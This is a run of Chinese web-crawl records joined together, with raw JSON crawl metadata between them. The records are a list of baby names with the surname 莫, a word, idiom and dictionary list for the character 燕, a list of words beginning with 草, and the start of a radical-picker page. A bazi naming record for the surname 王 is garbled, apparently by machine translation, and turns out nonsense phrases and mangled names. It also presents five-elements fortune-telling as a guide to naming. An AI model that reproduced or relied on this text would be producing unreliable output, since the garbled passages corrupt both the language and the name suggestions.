莫有江 莫杏华 莫朝阳 莫子君 莫朝阳 莫子仪 莫有港 莫小琴 莫小琴 莫小琴 莫春玉 莫广权 莫春玉 莫景雄 莫广权 莫春玉 莫景雄 莫春玉 莫广 莫建芳 莫春玉 莫春玉 莫景雄 莫海若 莫开伟 莫斯乔 莫钧乔 莫汇初 莫相宾 莫百云 莫伯云 莫杏光 莫丽芳 莫丽芳 莫会初 莫丽莎 莫凡 莫帆 莫凡凡 莫敏丽 莫紫凡 莫烦 莫莹莹 莫紫莹 莫平凡 莫萍 莫平 莫凤 莫春凤 莫繁 莫文蔚 莫文尉 莫子键 莫子聪 莫子倩 莫子清 莫子慧 莫子平 莫奇平 莫蓉君 莫金华 莫春红 莫昱扬 莫昱 莫扬扬 莫利娣 莫开凯 莫国盛 莫菊香 莫金华 莫悠 莫凉 莫凉 莫凉 莫华浪 莫华浪 莫运秀 莫炜扬 莫晶玲 莫镇宁 莫景凤 莫晶晶 莫竣勋 莫竣呵 莫竣怀 莫可添 莫煊 莫昱煊 莫恒志 莫昱炀 莫晶晶 莫佳仪 莫梵 莫宇梵 莫梵语 莫璐瑶 莫凡语 莫梵语 莫馨嘉 莫嘉馨 莫露瑶 莫馨佳 莫梵语 莫言 莫梦瑶 莫可茜 莫梵语 莫寒玉 莫小润 莫雪冰 莫衍雄 莫寒玉 莫雪龙 莫亦来 莫道雄 莫丽莎 莫雅荔 莫建峰 莫伟峰 莫斯乔 莫秀娴 莫宙霖 莫斯乔 莫钧乔 莫钧乔 莫汇初 莫汇初 莫汇初 莫彩屏 莫彩屏 莫彩屏 莫福忠 莫彩莲 莫彩莲 莫王烨 莫王俊 莫魏 莫金圆 莫顺霞 莫慧敏 莫丽萍 莫海强 莫海强 莫竣希 莫宗群 莫宗群 莫慧敏 莫小花 莫晓花 莫婕菱 莫慧敏 莫秋香 莫梵雨 莫婕菱 莫金圆 莫梵宇 莫梵雨 莫梵 莫梵玉 莫凡玉 莫可为 莫凡余 莫可为 莫竣宇 莫竣伊 莫燕斌 莫燕斌 莫燕斌 莫丹霞 莫芷芊 莫宇 莫誉 莫竣凯 莫惠婷 莫竣易 莫竣彦 莫非成 莫宜宙 莫竣宜 莫竣希 莫剑涛 莫梓川 莫梓政 莫梓正 莫琰楠 莫梓正 莫楠琰 莫梓进 莫梓立 莫梓立 莫梓龙 莫梓文 莫礼檠 莫梓鹏 莫红霞 莫子岳 莫子谦 莫凡尘 莫子尘 莫子诚 莫非成 莫蝉源 莫春桃 莫富程 莫瀚淇 莫凯浚 莫鸿强 莫思 莫庭涛 莫乔媛 莫刚轲 莫骐蔓 莫洁兰 莫 *** 莫祖璇 莫婉杏 莫佳佳 莫婉娴 莫婉非 莫婉妃 莫 *** 莫祖璇 莫宁 莫海霞 莫华浪 莫杏梅 莫祖旋 莫梓旋 莫梓璇 莫婉杏 莫海霞 莫海霞 莫婉非 莫海霞 莫锦华 莫婉琪 莫凤娟 莫登坤 莫茂森 莫海霞 莫祖璇 莫国钦 莫思勤 莫鸿强 莫茂兵 莫鸿翔 莫 *** 莫海霞 莫韵言 莫韵言 莫伯云 莫佰云 莫笔富 莫荣义 莫晔 莫汉桥 莫笔富 莫健 莫稀健 莫稀健 莫程健 莫笔富 莫宇宁 莫嬖富 莫璧富 莫笔畅 莫竣昊 莫笔富 莫竣皓 莫松青 莫竣皓 莫丽萍 莫笔富 莫北辰 莫子辰 莫子贤 莫松青 莫佳妮 莫立生 莫立本 莫笔富 莫忱梓 莫非凡 莫伟富 莫伟健 莫任健 莫明宇 莫仕能 莫莉秋 莫卫莉 莫梓尧 莫钧尧 莫明宇 莫梓尧 莫钧尧 莫斯婷 莫庆余 莫明宇 莫庆美 莫小美 莫庆美 莫蕴文 莫蕴文 莫蕴文 莫宝杰 莫槟鸣 莫燕凤 莫导鸣 莫槟鸣 莫杰辉 莫笔富 莫槟鸣 莫珍媚 莫超程 莫槟鸣 莫超程 莫桂兰 莫桂兰 莫桂兰 莫秀芳 莫桂兰 莫蕊银 莫东正 莫惠年 莫竣皓 莫竣腾 莫东明 莫东泽 莫浚凯 莫梓鹏 莫梓斌 莫旎尔 莫杰斌 莫洁彬 莫蕊银 莫浚 莫佳谦 莫光珠 莫浚谦 莫小花 莫进谦 莫嘉谦 莫雨谦 莫俊谦 莫兆新 莫睿雯 莫迪雯 莫静雯 莫惠雯 莫嘉雯 莫凯雯 莫小花 莫关花 莫关甫 莫关夫 莫雯荻 莫文荻 莫小花 莫佳达 莫贺斌 莫清颜 莫奇平 莫宁 莫丰鸣 莫竣皓 莫俊皓 莫竣皓 莫德川 莫槟鸣 莫键槟 莫胜凤 莫辛梅 莫凡 莫文廷 莫能凯 莫崇辉 莫淑萍 莫淑萍 莫仕森 莫能凯 莫汝贤 莫秋玲 莫蔚 莫明宇 莫小翠 莫经斌 莫海嵩 莫经斌 莫明宇 莫明宇 莫丰华 莫丰铭 莫馥铭 莫馥豪 莫槟宾 莫槟铭 莫青凡 莫凡青 莫青桦 莫仕波 莫仕波 莫佳颖 莫筱球 莫渝渝 莫丽夙 莫瑞秋 莫媛钧 莫媛淳 莫媛媛 莫媛钧 莫媛茜 莫素英 莫小凤 莫小凤 莫凡 莫凡 莫子锐 莫明睿 莫明睿 莫梓豪 莫子锐 莫艳益 莫长奇 莫丽明 莫凡清 莫婉琪 莫之翰 莫海春 莫建兵 莫永彬 莫林清 莫崇照 莫崇照 莫茜茜 莫茜茜 莫茜茜 莫茜茜 莫茜茜 莫茜茜 莫茜茜 莫雪青 莫茜茜 莫茜茜 莫茜茜 莫婷婷 莫茜茜 莫茜茜 莫婷婷 莫茜茜 莫韬麟 莫冼聪 莫米 莫明华 莫俊 莫桐 莫峰 莫榆 莫栩 莫栩 莫槟 莫彬 莫俊 莫策 莫茗 莫枫 莫柠 莫敏 莫俊 莫橡 莫棣 莫椿 莫桃 莫小雨 莫蝉源 莫桃桃 莫栩\n莫姓男孩取名四个字的\n莫畅晓柯\n莫洋晋喻\n莫厉昌永\n莫运鼎春\n莫悠文博\n莫鹏鸿柳\n莫琦云高\n莫谦玮羽\n莫振文瑞\n莫韶风桦\n莫藏冰释\n莫俊辉桦\n莫茂海尊\n莫菲昌辉\n莫涛圣傲\n莫聚福来\n莫妙泰泽\n莫运德凡\n莫磊德恩\n莫全曲鸣\n莫邦楠鼎\n莫胜旭博\n关于莫姓男宝宝取名和莫姓男宝宝取名大全带水的介绍到此就结束了,不知道你从中找到你需要的信息了吗 ?如果你还想了解更多这方面的信息,记得收藏关注本站。","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/www.hdjrw.com\/post\/15494.html","date":"2022-09-28T10:10:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335190.45\/warc\/CC-MAIN-20220928082743-20220928112743-00524.warc.gz","language":"lzh","language_score":0.4890783131,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4890783131122589, \"cmn_Hani_score\": 0.3915942311286926, \"wuu_Hani_score\": 0.05418652668595314, \"nan_Hani_score\": 0.03328408673405647, \"yue_Hani_score\": 0.017058927565813065, \"jpn_Jpan_score\": 0.010415871627628803}","num_words":1053,"character_repetition_ratio":0.024,"word_repetition_ratio":0.0,"special_characters_ratio":0.263,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.521,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"燕爵 燕兰 燕赉 燕馈 燕款 燕哙 燕客 燕犒 燕衎 燕凯 燕聚 燕乐 燕裾 燕居 燕九 燕警 燕京 燕金 燕巾 燕接 燕角 燕劳 燕垒 燕见 燕赏 燕饰 燕侍 燕市 燕食 燕石 燕声 燕申 燕射 燕设 燕觞 燕礼 燕山 燕禖 燕毛 燕麦 燕卵 燕侣 燕路 燕楼 燕令 燕砾 燕饯 燕翦 燕适 燕娥 燕谷 燕公 燕弓 燕歌 燕盖 燕脯 燕服 燕尔 燕儿 燕惰 燕关 燕豆 燕都 燕殿 燕甸 燕邸 燕代 燕赐 燕陲 燕处 燕骨 燕馆 燕剪 燕会 燕间 燕嘉 燕笳 燕佳 燕几 燕集 燕姞 燕姬 燕诲 燕环 燕邯 燕话 燕花\n燕户 燕弧 燕鸿 燕贺 燕盍 燕好 燕颔 燕室 燕纾 燕出 燕越 燕麈 燕舟 燕智 燕祉 燕脂 燕支 燕赵 燕昭 燕云 燕豫 燕啄 燕誉 燕玉 燕语 燕雨 燕宇 燕虞 燕鱼 燕余 燕游 燕酌 燕濯 燕郢 燕子 燕坐 燕俎 燕咏 燕莺 燕霜 燕媠 燕犀 燕息 燕娭 燕舞 燕窝 燕蓊 燕隗 燕尾 燕婉 燕亭 燕席 燕体 燕堂 燕谈 燕台 燕胎 燕笋 燕驷 燕私 燕说 燕嬉 燕喜 燕饮 燕叙 燕翼 燕逸 燕贻 燕诒 燕衣 燕养 燕燕 燕言 燕谑 燕许 燕戏 燕胥 燕休 燕榭 燕媟 燕亵 燕笑 燕飨 燕享 燕闲 燕狎 燕雏 燕鸻 燕臣 燕溺 燕雀 燕寝 燕昵 燕宾 燕髀 燕辟 燕婢 燕嫟 燕軷 燕譬 燕宁 燕奴 燕敖 燕器 燕女 燕齐 燕安 燕泥 燕朋 燕朝 燕然 燕幙 燕草 燕幕 燕谋 燕阙 燕钗 燕巢 燕珉 燕尾衫 燕尾香 燕窝菜 燕然山 燕喜亭 燕然铭 燕归梁 燕然笔 燕然石 燕公楼 燕羽觞 燕歌行 燕支坡 燕春台 燕子楼 燕子窠 燕子矶 燕脂坡 燕脂楼 燕菜席 燕正言 燕于飞 燕赵姝 燕赵人 燕赵女 燕赵风 燕昭台 燕昭馆 燕尾牌 燕蝠争 燕尾旗 燕尾服 燕台句 燕尾草 燕然颂 燕山铭 燕将书 燕山石 燕山颂 燕家景 燕九节 燕麦粥 燕王台 燕鹤骨 燕处危巢 燕巢危幕 燕岱之石 燕巢飞幕 燕啄皇孙 燕金募秀 燕子衔食 燕幕自安 燕处焚巢 燕巢卫幕 燕南赵北 燕巢于幕 燕骏千金 燕侣莺俦 燕足系诗 燕巢幙上 燕巢幕上 燕昭市骏 燕俦莺侣 燕雁代飞 燕妒莺惭 燕雀乌鹊 燕颔虎颈 燕颔虎头 燕雀相贺 燕颔虎须 燕雀处堂 燕颔虬须 燕颔儒生 燕颔书生 燕舞莺啼 燕舞莺歌 燕雀之居 燕婉之欢 燕雀之见 燕雀处屋 燕燕莺莺 燕燕于归 燕石妄珍 燕额虎头 燕语莺啼 燕语莺声 燕尔新婚 燕山夜话 燕山山脉 燕驾越毂 燕跃鹄踊 燕安鸩毒 燕安酖毒 燕歌赵舞 燕翼贻谋 燕市悲歌 燕瘦环肥 燕昭好马 燕梦征兰 燕约莺期\n玉燕钗 紫燕骝 耍燕九 乳燕飞 莺吟燕舞 玉燕投怀 雁南燕北 谢兰燕桂 飞燕游龙 兔丝燕麦 新婚燕尔 莺啼燕语 莺声燕语 莺期燕约 莺朋燕友 莺闺燕阁 莺歌燕语 莺歌燕舞 莺飞燕舞 莺颠燕狂 莺俦燕侣 莺巢燕垒 莺猜燕妒 莺吟燕儛 楚竹燕歌 郢书燕说 贻燕之训 楚水燕山 怡堂燕雀 蚕头燕尾 处堂燕雀 处堂燕鹊 刀头燕尾 鹰拿燕雀 兔葵燕麦 勒铭燕然 劳燕分飞 鲁斤燕削 龙威燕颔 幕上燕巢 弄燕调莺 幕燕鼎鱼 幕燕釜鱼 虎头燕额 旧燕归巢 虎头燕颔 环肥燕瘦 社燕秋鸿\n安燕 白燕 雨燕 紫燕 祖燕 周燕 贞燕 蛰燕 赵燕 泽燕 醧燕 语燕 玉燕 莺燕 银燕 游燕 越燕 饮燕 贻燕 诒燕 幽燕 清燕 觞燕 沙燕 烧燕 三燕 赏燕 曲燕 荣燕 乳燕 社燕 寝燕 绮燕 憩燕 朋燕 泥燕 幕燕 密燕 内燕 设燕 诗燕 旅燕 宵燕 湘燕 香燕 飨燕 闲燕 锡燕 享燕 狎燕 吴燕 押燕 寿燕 文燕 堂燕 谭燕 谈燕 私燕 侍燕 式燕 石燕 毛燕 六燕 新燕 春燕 公燕 酣燕 赴燕 高燕 飞燕 房燕 赐燕 玳燕 广燕 酬燕 钗燕 雏燕 朝燕 宾燕 搀燕 彩燕 北燕 汉燕 关燕 梁燕 惊燕 里燕 劳燕 孔燕 乐燕 凯燕 款燕 金燕 酒燕 会燕 胡燕 家燕 荒燕 嘉燕 欢燕 后燕 鸿燕 贺燕 海燕 筵燕 南燕 夜燕 淫燕 玄燕 言燕 雅燕 鸣玉燕 金丝燕 吴宫燕 杏梁燕 双飞燕 头鹅燕 鼎鱼幕燕 东劳西燕 伯劳飞燕 五雀六燕 釜鱼幕燕 杏林春燕 莺莺燕燕 池鱼幕燕 池鱼堂燕 来鸿去燕 柳莺花燕 歌莺舞燕\n燕安酖毒 燕安鸩毒 燕巢飞幕 燕巢幕上 燕巢幙上 燕巢危幕 燕巢卫幕 燕巢于幕 燕俦莺侣 燕处焚巢 燕处危巢 燕雀处帷幄 燕妒花惭 燕妒莺惭 燕岱之石 燕额虎头 燕尔新婚 燕蝠之争 燕歌赵舞 燕颔虎颈 燕颔虎头 燕颔虎须 燕颔虬须 燕颔儒生 燕颔书生 燕居深念 燕驾越毂 燕金募秀 燕骏千金 燕侣莺俦 燕麦兔葵 燕幕自安 燕雀安知鸿鹄之志 燕雀安知鸿鹄志 燕雀不知鸿鹄志 燕雀处堂 燕雀处屋 燕雀岂知雕鹗志 燕雀岂知鸿鹄之志 燕雀乌鹊 燕雀相贺 燕雀之见 燕雀之居 燕瘦环肥 燕石妄珍 燕市悲歌 燕婉之欢 燕舞莺歌 燕舞莺啼 燕雁代飞 燕燕居息 燕燕莺莺 燕燕于归 燕翼诒孙 燕翼贻谋 燕翼贻孙 燕翼之谋 燕翼子孙 燕语莺呼 燕语莺声 燕语莺啼 燕约莺期 燕跃鹄踊 燕啄皇孙 燕子衔食 燕足系诗 燕昭好马 燕昭市骏 飞燕游龙 旧燕归巢 劳燕分飞 幕燕鼎鱼 幕燕釜鱼 社燕秋鸿 舞燕歌莺 贻燕之训 玉燕投怀 蚕头燕尾 处堂燕雀 处堂燕鹊 刀头燕尾 环肥燕瘦 虎头燕额 虎头燕颔 鲁斤燕削 龙威燕颔 幕上燕巢 兔葵燕麦 兔丝燕麦 新婚燕尔 谢兰燕桂 莺猜燕妒 莺巢燕垒 莺俦燕侣 莺颠燕狂 莺飞燕舞 莺歌燕舞 莺歌燕语 莺闺燕阁 雁南燕北 鹰拿燕雀 莺期燕约 莺声燕语 郢书燕说 怡堂燕雀 莺啼燕语 莺吟燕舞 莺吟燕儛 伯劳飞燕 池鱼幕燕 池鱼堂燕 东劳西燕 鼎鱼幕燕 釜鱼幕燕 歌莺舞燕 来鸿去燕 柳莺花燕 五雀六燕 鱼游沸鼎,燕巢飞幕 鱼游沸釜,燕处危巢\n燕yàn\n鸟类的一科,候鸟,常在人家屋内或屋檐下用泥做巢居住,捕食昆虫,对农作物有益:燕尔(形容新婚夫妇亲睦和美的样子)。燕好(常用以指男女相爱)。燕侣。燕雀处(cdiào)堂(喻居安而不知远虑,临祸却不能自知)。\n轻慢:\"燕朋逆其师\"。\n古同\"宴\",安闲,安乐。\n古同\"宴\",宴饮。\n燕yān\n中国周代诸侯国名,在今河北省北部和辽宁省南部:燕赵。燕山。燕京。\n姓。\n笔画数:16;\n部首:灬;\n笔顺编号:1221251211354444\n海燕是一位德才兼备的好学生。\n海燕在狂风暴雨中勇敢地飞翔。\n勇敢的海燕在大海上自由自在地翱翔。\n小燕对老师提出的问题对答如流。\n小龙和小燕一见钟情,不久就成了伴侣。\n他们现在新婚燕尔,你千万别去打扰。\n李燕长得天生丽质,所以很多人都喜欢他。\n停着的燕子成了音符,谱出一直春天的歌。\n我没有回答,但心里却想:燕雀焉知鸿鹄之志!\n燕子在屋檐下唱着歌,告诉人们春天到了。\n他们夫妻俩燕尔新婚,如胶似漆地终日形影不离。\n初夏之后北归的燕子在我家的房檐下安家落户了。\n他俩刚度过几天新婚燕尔的生活,妻子就送丈夫上前线了。\n燕国的昭王招贤纳士,荆轲刺秦王故事出自易县燕下都。\n明燕王朱棣兵变夺取帝位,方孝孺秉笔直书\"燕贼篡位\",被杀,灭十族。\n经过家长和老师们苦口婆心的规劝,小燕终于放弃外出打工的念头。\n听到自己这次数学考试得了个满分,他乐不可支地把这个消息告诉了小燕。\n小燕坚持原则,有工作经验,又能团结同学,众望所归,大家都选她当班长。","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.motianyi.cn\/zucidaquan\/10596.html","date":"2022-12-03T10:18:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710926.23\/warc\/CC-MAIN-20221203075717-20221203105717-00773.warc.gz","language":"lzh","language_score":0.9476876259,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9476876258850098, \"nan_Hani_score\": 0.025444192811846733, \"cmn_Hani_score\": 0.021051371470093727}","num_words":632,"character_repetition_ratio":0.031,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.955,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"给小孩取名字\n西历:2010 7月 23天 工夫:8点\n太阴历:耿银年 六月 第十二 时候:辰时\n生肖:虎\n四大靠山:耿银年 岳维伟 Jia Xu纪念日 May Chen陈化\n八字:耿银 癸未 甲戌 戊辰\n五行:金木 水土 木土 土土\n松柏木 杨刘牧 巅火 大林木\n八字五行五行。:1金 2棵树 1水 0起火警 4壤\n八字五行辨析:五根本原则缺少火。 土旺\n很放荡的应用天意:火\n————————————————–五行用神根本解说————————————————\n五行:金木水火土\n五行四面:东边属木,在南方是发作回禄。,正西黄金,北方地区的属于水。,腰部壤。\n五行相生: 金凉水, 水产的木, 木射, 火未成熟土, 陆地上的黄金。\n五行相克: 金克木, 木克土, 土克水, 水克火, 火是金。\n应用天意, 它是日本干的八个特点。, 帮忙解决争端或助长驳斥的五行元素。 四大靠山的中心是以天意为中心。, 天意是可怕的的静止的可怕的的?, 心情性命 终生解除, 心情人的性命的力是天意的力不可的。, 四价元素靠山是帮忙天意的人。, 或许四根柱子,包厢,杀人罪,使用神来改革邪灵。,凶恶之神, 这是放荡的。 四根柱子是不济的。, 敝得依托交通运输来添补。 朝着有精神的局来说,五排更抵消。, 天意缺少太短的四根柱子, 他的有精神的更流利。, 不盛衰荣辱。\n—————————————————给予称号提议——————————————————-\n王姓,田歌5,性生活:男子气概\n提议的禀性是=mathematics的。:\n1、\n3、5、7、8、11、13、15、16、18、21、23、24、25、31、3\n2、33、35、37、39、41、45、47、48、52、57、61、63、65、67、68、81\n名字的第第一字是康熙笔画数。:\n1、3、4、7、9、11、1\n2、14、17、19、20、21、27、28、29、31、33、35、37、41、43、44、48、53、57、59、61、63、64、77、的中国字。\n定义提示符:五根本原则缺陷:火,提议应用属性作为火警。,姓名达到目标中国字,为了体现绝对抵消的主宰事物的力量,有得五分根本原则。!\n以下是实施射击军需品。\n旺格成 王宇田 王连成 王龙乐 王李彤 王宁宁 王乐立 王刁熹 王鲁之 王李宁 王路里 王鲁洋 王公之 王菁二世 王龙诺 王力东 王钟郎 王耀臣 王忠业 王鲁中 王雷郑 王玲宁 王乐阁 王路定 琳达来源于日耳曼语 王丹钟 王鲁兰 王格亮 王乐燕 王玲宁 王鲁生 Wang Lu陈 旺格业 王兰迪 王老玉 王乐达 王振宁 王迪良 陈观景楼 王芮哲 王玲一 王竹立 王玲志 王田浩 王李威 王忠义 王克里斯汀·德迪夫 王陆涛 王一尺 王鲁浩 王迪迪 王路遥 王丹乐 王连新 王乐生 王乐乐 旺格余 王乐义 王龙杰 王柳岩 王然镇 旺格军 王力德 王麟林 王朱凯 王龙保 王老凤 王鲁军 王路成 王乐月 汪峰一 王力浩 王李艳 王然 王杜和 旺格业 王一军 王洛依 王玲梁 汪峰兰 王乐田 王力德 王耿哲 王鲁田 王笃德 王仲霞 王洛军 王玲宁 王宇乐 王乐浩 王鲁正 王鲁浩 王扬智 王龙浩 王娇典 王格涛 王鲁正 王宁利 旺格倪 王野叶 王连业 王乐新 王龙龙 王鲁平 王陆迟 王武达 王武拉 王挺军 王竹良 王鲁洋 王鲁豫 王军良 王李志 王肖扬 王老兰 王龙龙 王迪陶 王竹田 王鲁楷 Wang Li完毕 王洛丽 王乐立 旺格业 王李杨 王乐赤 王李立 王鲁军 王李钰 王李晟 旺格达 王宁珠 王李俊 王鲁之 王鲁军 旺格亮 王连锦 王连洋 王乐成 王宁宁 王雷军 王力章 王安电脑公司岳 王太军 王路亮 王乐真 王鲁达 王路亮 王兰燕 王连正 王格宇 王力东 霸道之 隐现乐 王武柱 王乐涛 王连尧 王历法展 王李志 王宁乐 王玲朱 王玲二世 王乐军 王路宁 王鲁豫 王利丰 王公乐 王龙燕 王冉乐 王挺立 王洛成 王新达 王菁余 王迪乐 王宁宁 王洛阳 王玲叶 王雷郝 王杜渡 王楼岩 王奥迪隆·雷东 汪伦宁 王李林 王武兰 王连达 王杜亮 王路林 王刚郝 王路照 王忠利 王喜路 王连玉 王玲郝 王鲁珍 王玲郑 王陆迟 王连军\n————————–\n以下是王平。,但未必补救办法火警。\n王玲平 王坤平 王金平 王平平 王延平 王兰平 王滔平 王开平 王承平 王小平 王正平 王正方 王平平 王西平 何平王 王雷平 王丹平 王赤平 王才平 王庆平 旺格 王承平 旺格 王承平 旺格平 王鑫平 王向平 王鹏平 王阳平 王鞠萍 王兰平 王利平 王麟平 何平王 王玲平 王烘烤公寓 王平平 王跃平 王东平 旺格 王平平 王灿平 王忠平 王成形 王谭萍 王天平 王浩平 王普平 王占平 王海平 王鲁平 王竹平 王跃平 王玮平 王莹平 王平平 王玮平 王强平 王克平 王邦平 王军平 王菁平 王小平 王鸿平 王莹平 王存平 王雷平 王四平 王爱萍 王元平 王平平 王浩平 王申平 王平平 王分平 王平平 旺格 王朝平 王元平 汪涵平 王释平 王仁平 王光平 王宇平 王格平 王飞平 王平平 王宇平 王左平 王宇平 旺格 王宇平 王小平 王平平 王昌平 王军平 王承平 旺格 王功平 王周萍 旺格 王老平 王美萍 王少平 王央平 王龙平 王云平 王群平 王格平 王格平 旺格平 王元平 王平平 王楚平 作业处理码 旺格 王麟平 王挺平 王功平 王春平 王鲁平 王树平 王平平 王二平 王运平 王向平 王启平 王敬平 王家平 王普平 王功平 王超平 王惠平 王金平 王向平 王华平 王丹平 王华平 王军平 王玮平 王平平 王奥平 王平平 王福平 王惠平 王玮平 王善平 王平平 王马平 王承平 王斌平 王文平 王竹平 王启平 王平平 王良平 王耀平 汪峰平 王军平 王宁平 王宇平 王云平 王云平 汪涵平 王成形 王杰平 王晨平 王可平 王正平 王野平 王莫平 王玮平 王二乐平 王喜平 王中平 王挺平 旺格平 王鞠萍 王伯平 王平平 汪峰平 王向平 王新平 王张萍 王莫平 王平平 王平重庆 王惠平 王婵萍 王平平 王刚平 王蜂平 王可平 王合理的 王盘平 王迪平 王小平 王刚平 王元平 王艳平 王振平 王坤平 王平平 王兆平 王庄平 王平平 王莹平 王喜平 王平平 王伯平 王刚平 王清平 王哲平 王景平 王茜平 汪涵平 王华平 旺格平 王平平 王艳平 王子平 王淼平 王晨平 王娇平 王伟平 王喜平 王平平 王平西安 王木平 王启平 王鸿平 王莹平 汪峰平 王友平 王淼平 王玮平 王拥护者 王安平 王景平 王凡平 旺格平 王惠平 王玮平 王军平 王传平 王二乐平 王旭平 王明平 王平平 王德平 王福平 旺格 王超平 旺格平 王海平 王鸿平 王灿平 王良平 旺格 王成平 王鞠萍 王晨平 王连平 王玲平 王正平 王平平 王昌平 王继平 汪强平 王迪平 王滔平 王景平 王蓉平 王金平 王筝平 王小平 王小平 王沙平 王斌平 王云平 王艳平 王云平 王兴平 王木平 王实平 王施平 旺格 王明平 王宇平 王丛平 王诺平 王伯平 王军平 王旭平 王开平 王平平 王野平 王俊平 旺格 王树平 王晨平 作业处理码 王银平 王曼平 王飞平 王润平 王定平\n或许我意识到些什么。 2010-08-03 22:43\n孩子的意识到要提示你。:网友从事,仅供参考。","id":"","dump":"CC-MAIN-2019-30","url":"https:\/\/www.enjoyhelp.com\/amxjw\/3743.html","date":"2019-07-24T00:50:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195530246.91\/warc\/CC-MAIN-20190723235815-20190724021815-00153.warc.gz","language":"lzh","language_score":0.8727927208,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.8727927207946777, \"cmn_Hani_score\": 0.06397503614425659, \"nan_Hani_score\": 0.06285616755485535}","num_words":583,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.317,"stopwords_ratio":0.002,"flagged_words_ratio":0.0,"lang_id_score":0.895,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"www.80-hormone.cn*??*?\ncǎo zhùn ér ㄘㄠˇ ㄘㄠˇ ㄘㄠˇ ㄘㄠˇ\n草稕儿\n乡村酒店用作酒幌的草帘。 元 高文秀 《黑旋风》第二折:\"墙角畔滴溜溜草稕儿挑,茅檐外疎剌剌布帘儿斜。\" 元 无名氏 《盆儿鬼》第一折:\"定下些新鲜的案酒菜儿,挑出这草稕儿去,看有甚的人来。\"\n展开全部草坪 草案 草率2113 草地 草原 草草 草拟 草丛 草药 草莓 草签 草木5261 草图 草稿 草帽4102 草木皆兵 草皮 草场 草包 草绿1653 草席 草堂 草鞋 草房 草芥 草莽 草间 草鱼 草料 草编 草书 草棚 草本 草垛 草人 草鸡 草菅人命 草纸 草创 草本植物 草民 草虫 草寇 草写 草头 草庵 草率从事 草率收兵 草行露宿 草莽英雄 草草了事 草草收兵 草菇 草庐 草市 草上飞 草字 草约 草制 草野 草长莺飞 草薙禽狝 草木愚夫 草庐三顾 草衣木食 草间求活 草头天子 草木知威 草创未就 草满囹圄 草木俱朽 草座 草奏 草子 草酌 草稕儿 草篆 草猪 草帚儿 草螽 草质茎 草止 草诏 草札 草贼 草泽英雄 草泽 草缨 草裀 草茵 草异 草衣士 草衣 草叶集 草妖 草偃风行 草偃风从 草偃 草玄 草行 草鞋亲 草鞋钱 草鞋费 草贤 草闲 草檄 草乌 草温表 草莞 草洼 草团瓢 草团标 草土臣 草土 草头露 草帖 草田 草薙 草剃禽狝 草体 草塘泥 草堂体 草炭 草台戏 草台班子 草台班 草台 草榻 草索 草刷儿 草蔬 草疏 草室 草食动物 草石蚕 草圣 草舍 草蛇灰线 草上霜 草苫 草靸 草褥 草蓐 草入牛口,其命不久 草扰 草囷 草晴蛉 草寝 草窃 草戚 草孽 草娘 草木萧疏 草木犀 草木同腐 草木荣枯 草木灰 草木黄落 草茉莉 草命 草苗 草棉 草靡风行 草靡 草迷 草昧 草煤 草帽缏 草茆 草茅之臣 草茅之产 草茅 草莽之臣 草码 草马 草麻 草骡 草略 草绿 草率行事 草率了事 草率将事 草律 草履虫 草驴 草露 草料场 草寮 草隶 草立 草里金 草里旛竿 草莱 草库伦 草窠 草科 草屩 草具 草驹 草苴 草就 草芥人命 草介 草荐子 草荐 草菅 草架 草荚 草棘 草薉 草秽 草灰 草荒 草狐 草褐 草果 草工 草藳 草稾 草荄 草腹菜肠 草赋 草服 草芙蓉 草法 草垡 草豆蔻 草斗 草奠 草垫子 草垫,草垫子 草甸子 草甸土 草甸 草地上的午餐 草底儿 草底 草蹙 草猝 草苁蓉 草刺儿 草次 草剏 草船借箭 草船 草茶 草测 草草不恭 草蔀 草表 草标儿 草标 草辫 草缏 草鄙 草坂 草跋*展开全部贬义词:拈花惹草,草草了事,褒义词:结草衔环,寸草春晖*www.80-hormone.cn*?*?\n声明:本网内容旨在传播知识仅供参考,不代表本网赞同其观点,文字及图片版权归原网站所有。","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/www.80-hormone.cn\/b\/1717\/n2v17170218.html","date":"2020-10-27T00:19:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107892710.59\/warc\/CC-MAIN-20201026234045-20201027024045-00139.warc.gz","language":"lzh","language_score":0.5203717947,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5203717947006226, \"cmn_Hani_score\": 0.2738252282142639, \"jpn_Jpan_score\": 0.11064156889915466, \"yue_Hani_score\": 0.049687210470438004, \"nan_Hani_score\": 0.04028697311878204}","num_words":274,"character_repetition_ratio":0.022,"word_repetition_ratio":0.0,"special_characters_ratio":0.29,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.572,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"该网站是为西方人设计的,包含HSK汉字。从部首组成汉字!只需单击屏幕上的这些 部首就可以从中组成一个汉字.\n单击屏幕上的这些 部首:\n一 丶 口 十 日 丷 又 木 丨 人 土 厂 亠 冖 扌 丿 八 儿 月 氵 大 亻 田 冂 目 ◫ 艹 宀 厶 贝 广 匕 囗 讠 兀 丆 乂 王 小 冫 心 夂 乚 立 止 纟 士 女 彐 刂 弋 山 丅 匚 巾 阝 丁 尸 亅 中 寸 几 勹 忄 力 戈 火 干 禾 千 亼 左 钅 コ 车 了 刀 夕 工 斤 肀 隹 白 米 攵 廿 艮 万 丂 方 子 水 文 彳 石 爫 习 页 欠 虫 廾 弓 灬 凵 疒 罒 皿 卄 用 丰 礻 犭 主 巳 耳 马 氺 古 犬 二 彡 耂 六 示 辛 右 丬 饣 西 卩 从 羊 手 乃 